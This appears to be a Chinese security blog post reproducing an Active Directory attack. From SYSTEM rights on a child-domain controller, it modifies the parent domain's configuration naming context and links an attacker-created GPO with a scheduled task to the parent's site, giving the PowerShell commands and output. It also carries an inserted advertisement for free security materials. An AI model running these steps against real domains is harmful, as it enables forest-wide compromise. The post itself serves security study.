前言
最近翻阅笔记发现一篇文章提到通过子域的System权限可以突破获取到父域权限,本文将对此技术进行尝试复现研究。
利用分析
环境信息:
子域:187、sub.cs.org
父域:197、cs.org
首先通过在子域的域控机器上打开mmc.exe->连接ADSI->配置来查看子域的配置命名上下文:
从配置中可以看到配置命名上下文的域名实际上是父域cs.org,因此判断子域中看到的信息可能是父域的副本:
继续查看配置对象的安全描述符中的ACL,发现子域没有权限去变更:
但是可以看到除了域用户、域管用户以外,还有一个特权ACL条目叫SYSTEM,该条目拥有完全控制权限:
SYSTEM属于一个特殊用户,不属于域内用户,因此理论上只要能做到是SYSTEM权限就能控制对象条目而不用关注是不是域内管理员。因此尝试使用SYSTEM权限继续打开配置命名上下文:
可以看到当子域拥有了SYSTEM权限后就可以修改来自父域副本的配置对象:
帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
利用方式
既然可以控制父域的配置命名上下文,那如何利用呢?网上提到有几种方式,一种是通过GPO、还有的是提到给父域添加一个自己可控的证书模板(ESC1),这里以GPO组策略为例。
先在子域域控上创建一个GPO:
New-GPO jumbo_gpo_test
设置计划任务:
通过SYSTEM权限把子域的GPO link到父域:
PS C:\Windows\system32> Get-ADDomainController -Server cs.org | select HostNane, ServerObjectDN
HostNane ServerObjectDN
-------- --------------
{} CN=10_4_45_197,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=cs,DC=org
PS C:\Windows\system32> New-GPLink -Name "jumbo_gpo_test" -Target "CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=cs,DC=org" -Server sub.cs.org
GpoId : 76606696-cd03-4349-b0f2-0a45bdf305d4
DisplayName : jumbo_gpo_test
Enabled : True
Enforced : False
Target : CN=Default-First-Site-Name,cn=Sites,CN=Configuration,DC=cs,DC=org
Order : 1
父域刷新组策略可以看到子域链接过来的GPO:
父域更新组策略成功执行计划任务notepad.exe:
gpupdate /force
刷新组策略后通过gpresult /r
命名也可以看到添加的GPO:
总结
本文介绍了除SidHistory
以外还可以通过子域的System权限进行突破到父域的攻击手法。